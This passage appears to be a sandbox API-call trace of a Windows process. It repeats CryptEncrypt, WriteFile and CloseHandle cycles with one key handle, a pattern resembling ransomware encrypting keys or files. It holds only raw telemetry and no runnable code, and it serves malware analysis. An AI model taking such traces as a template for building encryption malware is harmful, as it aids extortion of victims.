dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.215] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.216] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.216] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.216] CloseHandle (hObject=0x2aec) returned 1 [0227.234] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.234] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.234] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.234] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.234] CloseHandle (hObject=0x2aec) returned 1 [0227.237] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.237] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.237] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.238] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.238] CloseHandle (hObject=0x2aec) returned 1 [0227.240] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.241] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.241] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.241] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.241] CloseHandle (hObject=0x2aec) returned 1 [0227.244] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.244] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.244] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.244] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.244] CloseHandle (hObject=0x2aec) returned 1 [0227.247] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.247] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.248] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.248] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.248] CloseHandle (hObject=0x2aec) returned 1 [0227.255] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.255] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.256] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.256] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.256] CloseHandle (hObject=0x2aec) returned 1 [0227.259] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.259] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.259] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.259] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.259] CloseHandle (hObject=0x2aec) returned 1 [0227.262] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.263] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.263] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.263] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.263] CloseHandle (hObject=0x2aec) returned 1 [0227.265] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.265] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.266] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.266] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.266] CloseHandle (hObject=0x2aec) returned 1 [0227.274] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.274] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.274] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.275] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.275] CloseHandle (hObject=0x2aec) returned 1 [0227.288] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.288] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.288] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.289] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.289] CloseHandle (hObject=0x2aec) returned 1 [0227.295] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.295] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.296] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.296] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.296] CloseHandle (hObject=0x2aec) returned 1 [0227.299] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.299] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.299] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.299] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.300] CloseHandle (hObject=0x2aec) returned 1 [0227.302] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.302] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.302] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.303] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.303] CloseHandle (hObject=0x2aec) returned 1 [0227.340] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.340] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.340] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.341] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.341] CloseHandle (hObject=0x2aec) returned 1 [0227.356] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.356] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.356] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.357] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.357] CloseHandle (hObject=0x2aec) returned 1 [0227.361] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.361] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.361] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.362] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.362] CloseHandle (hObject=0x2aec) returned 1 [0227.367] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.367] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.368] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.368] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.368] CloseHandle (hObject=0x2aec) returned 1 [0227.373] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.373] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.373] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.374] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.374] CloseHandle (hObject=0x2aec) returned 1 [0227.377] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.377] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.377] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.377] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.378] CloseHandle (hObject=0x2aec) returned 1 [0227.433] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.433] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.433] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.434] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.435] CloseHandle (hObject=0x2aec) returned 1 [0227.486] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.486] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.486] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.486] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.487] CloseHandle (hObject=0x2aec) returned 1 [0227.493] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.493] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.493] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.493] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.494] CloseHandle (hObject=0x2aec) returned 1 [0227.510] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.510] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, 